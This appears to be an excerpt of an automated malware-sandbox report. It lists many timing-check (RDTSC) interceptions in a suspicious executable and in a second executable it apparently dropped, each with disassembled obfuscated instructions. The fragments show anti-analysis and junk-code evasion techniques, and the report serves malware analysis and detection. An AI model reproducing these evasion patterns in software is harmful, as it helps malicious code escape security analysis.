Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B89A9 second address: 6B89FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F44A4EBD634h 0x0000000b pushad 0x0000000c jmp 00007F44A4EBD634h 0x00000011 jmp 00007F44A4EBD62Ah 0x00000016 jmp 00007F44A4EBD638h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B89FC second address: 6B8A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 jmp 00007F44A4E0677Fh 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2ECA second address: 6C2ED1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2ED1 second address: 6C2EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jc 00007F44A4E06788h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2EE2 second address: 6C2EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5003 second address: 6D5021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F44A4E06783h 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4B4E second address: 6D4B56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4D0F second address: 6D4D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4D15 second address: 6D4D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4D19 second address: 6D4D3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F44A4E06789h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4D3E second address: 6D4D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9823 second address: 6E982A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E982A second address: 6E984D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F44A4EBD636h 0x0000000c jns 00007F44A4EBD626h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E99AA second address: 6E99AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E99AE second address: 6E99EB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F44A4EBD626h 0x00000008 jng 00007F44A4EBD626h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jng 00007F44A4EBD632h 0x00000016 js 00007F44A4EBD626h 0x0000001c jno 00007F44A4EBD626h 0x00000022 popad 0x00000023 push esi 0x00000024 jmp 00007F44A4EBD635h 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9B1B second address: 6E9B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9B1F second address: 6E9B25 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9B25 second address: 6E9B41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F44A4E06776h 0x00000009 js 00007F44A4E06776h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F44A4E0677Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9B41 second address: 6E9B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jmp 00007F44A4EBD638h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9B5F second address: 6E9B71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F44A4E0677Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9B71 second address: 6E9B75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9CCA second address: 6E9CD6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9CD6 second address: 6E9CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9CDA second address: 6E9CDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9E35 second address: 6E9E5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F44A4EBD626h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F44A4EBD632h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9E5A second address: 6E9E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9E62 second address: 6E9E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA285 second address: 6EA2AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F44A4E06776h 0x0000000a jmp 00007F44A4E06782h 0x0000000f jnp 00007F44A4E06776h 0x00000015 popad 0x00000016 pop ecx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA2AE second address: 6EA2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA41B second address: 6EA42F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F44A4E06776h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F44A4E06778h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA42F second address: 6EA439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F44A4EBD626h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA439 second address: 6EA43F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA5A4 second address: 6EA5A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA5A8 second address: 6EA5AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA5AC second address: 6EA5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jc 00007F44A4EBD626h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA72C second address: 6EA730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFF83 second address: 6EFF87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0513 second address: 6F052B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F44A4E06776h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F052B second address: 6F052F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1DA4 second address: 6F1DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44A4E06787h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1DC0 second address: 6F1DC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1DC6 second address: 6F1DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F39E6 second address: 6F39F8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F44A4EBD62Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F39F8 second address: 6F39FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F39FE second address: 6F3A28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F44A4EBD62Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F44A4EBD631h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ebx 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D502E0 second address: 4D502E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D502E6 second address: 4D5030F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a mov dh, 0Fh 0x0000000c popad 0x0000000d mov dword ptr [esp], ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F44A4EBD637h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5030F second address: 4D50315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50315 second address: 4D50319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50319 second address: 4D5031D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5031D second address: 4D50331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edi, esi 0x0000000f mov ax, 387Bh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50331 second address: 4D50388 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F44A4E06787h 0x00000009 sub esi, 510A6F5Eh 0x0000000f jmp 00007F44A4E06789h 0x00000014 popfd 0x00000015 mov edx, ecx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b pushad 0x0000001c push eax 0x0000001d push ebx 0x0000001e pop eax 0x0000001f pop edx 0x00000020 push eax 0x00000021 push edx 0x00000022 call 00007F44A4E0677Eh 0x00000027 pop eax 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C361 second address: 60C365 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D503D6 second address: 4D503EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E0677Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ecx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5050A second address: 4D5050E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5050E second address: 4D50518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov edx, ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50518 second address: 4D5051C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5051C second address: 4D50550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov esi, edx 0x00000009 pushad 0x0000000a mov edi, esi 0x0000000c call 00007F44A4E0677Eh 0x00000011 push eax 0x00000012 pop edx 0x00000013 pop eax 0x00000014 popad 0x00000015 mov al, byte ptr [edx] 0x00000017 jmp 00007F44A4E0677Dh 0x0000001c inc edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50550 second address: 4D50554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50554 second address: 4D50558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50558 second address: 4D5055E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5055E second address: 4D50573 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44A4E06781h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50573 second address: 4D505A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD631h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F44A4EBD638h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D505A8 second address: 4D505AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D505AE second address: 4D50550 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD62Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F44A4EBD59Ah 0x0000000f mov al, byte ptr [edx] 0x00000011 jmp 00007F44A4EBD62Dh 0x00000016 inc edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D505CC second address: 4D505E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D505E9 second address: 4D50606 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD631h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50606 second address: 4D5061E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06784h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5070F second address: 4D50737 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD62Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F44A4EBD635h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50737 second address: 4D50793 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F44A4E06787h 0x00000009 xor cl, 0000007Eh 0x0000000c jmp 00007F44A4E06789h 0x00000011 popfd 0x00000012 movzx eax, bx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jne 00007F45159CEA80h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F44A4E06786h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50793 second address: 4D50818 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD62Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b pushad 0x0000000c call 00007F44A4EBD634h 0x00000011 pushfd 0x00000012 jmp 00007F44A4EBD632h 0x00000017 or eax, 1BD20838h 0x0000001d jmp 00007F44A4EBD62Bh 0x00000022 popfd 0x00000023 pop ecx 0x00000024 push edx 0x00000025 jmp 00007F44A4EBD634h 0x0000002a pop esi 0x0000002b popad 0x0000002c shr ecx, 02h 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov cx, B729h 0x00000036 call 00007F44A4EBD636h 0x0000003b pop eax 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50818 second address: 4D50839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 78BF8E0Dh 0x00000008 mov ah, FEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 rep movsd 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F44A4E06780h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50839 second address: 4D5083F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5083F second address: 4D50843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50843 second address: 4D50894 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD62Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F44A4EBD633h 0x00000014 xor cl, FFFFFFCEh 0x00000017 jmp 00007F44A4EBD639h 0x0000001c popfd 0x0000001d popad 0x0000001e and ecx, 03h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50894 second address: 4D50898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50898 second address: 4D5089E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5089E second address: 4D509A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06782h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b pushad 0x0000000c movzx esi, di 0x0000000f pushfd 0x00000010 jmp 00007F44A4E06783h 0x00000015 sub eax, 26D8963Eh 0x0000001b jmp 00007F44A4E06789h 0x00000020 popfd 0x00000021 popad 0x00000022 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000029 jmp 00007F44A4E0677Eh 0x0000002e mov eax, ebx 0x00000030 jmp 00007F44A4E06780h 0x00000035 mov ecx, dword ptr [ebp-10h] 0x00000038 jmp 00007F44A4E06780h 0x0000003d mov dword ptr fs:[00000000h], ecx 0x00000044 jmp 00007F44A4E06780h 0x00000049 pop ecx 0x0000004a pushad 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007F44A4E0677Ch 0x00000052 or ecx, 37F4BFF8h 0x00000058 jmp 00007F44A4E0677Bh 0x0000005d popfd 0x0000005e pushfd 0x0000005f jmp 00007F44A4E06788h 0x00000064 sub cx, 9A58h 0x00000069 jmp 00007F44A4E0677Bh 0x0000006e popfd 0x0000006f popad 0x00000070 movzx eax, bx 0x00000073 popad 0x00000074 pop edi 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007F44A4E0677Eh 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D509A2 second address: 4D509C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, D4h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a call 00007F44A4EBD635h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D509C3 second address: 4D509F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov al, bh 0x00000007 popad 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dh, 72h 0x0000000e pushfd 0x0000000f jmp 00007F44A4E0677Ch 0x00000014 sub ecx, 3B2C4978h 0x0000001a jmp 00007F44A4E0677Bh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50B2F second address: 4D50B35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50B35 second address: 4D50B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	RDTSC instruction interceptor: First address: 24F379 second address: 24EBBB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b sub dword ptr [ebp+122D3AEAh], edx 0x00000011 push dword ptr [ebp+122D1381h] 0x00000017 sub dword ptr [ebp+122D28B4h], edx 0x0000001d pushad 0x0000001e mov ebx, dword ptr [ebp+122D2D6Dh] 0x00000024 mov dword ptr [ebp+122D28BFh], edi 0x0000002a popad 0x0000002b call dword ptr [ebp+122D3247h] 0x00000031 pushad 0x00000032 jmp 00007F44A4EBD62Ch 0x00000037 xor eax, eax 0x00000039 jmp 00007F44A4EBD62Eh 0x0000003e mov edx, dword ptr [esp+28h] 0x00000042 mov dword ptr [ebp+122D282Ah], edx 0x00000048 mov dword ptr [ebp+122D2CB1h], eax 0x0000004e mov dword ptr [ebp+122D282Ah], edi 0x00000054 mov esi, 0000003Ch 0x00000059 jmp 00007F44A4EBD633h 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 cld 0x00000063 lodsw 0x00000065 je 00007F44A4EBD62Ch 0x0000006b mov dword ptr [ebp+122D282Ah], edx 0x00000071 pushad 0x00000072 mov eax, ecx 0x00000074 movsx ecx, bx 0x00000077 popad 0x00000078 add eax, dword ptr [esp+24h] 0x0000007c jmp 00007F44A4EBD62Ah 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 sub dword ptr [ebp+122D282Ah], edx 0x0000008b push eax 0x0000008c pushad 0x0000008d jmp 00007F44A4EBD630h 0x00000092 push eax 0x00000093 push edx 0x00000094 jc 00007F44A4EBD626h 0x0000009a rdtsc
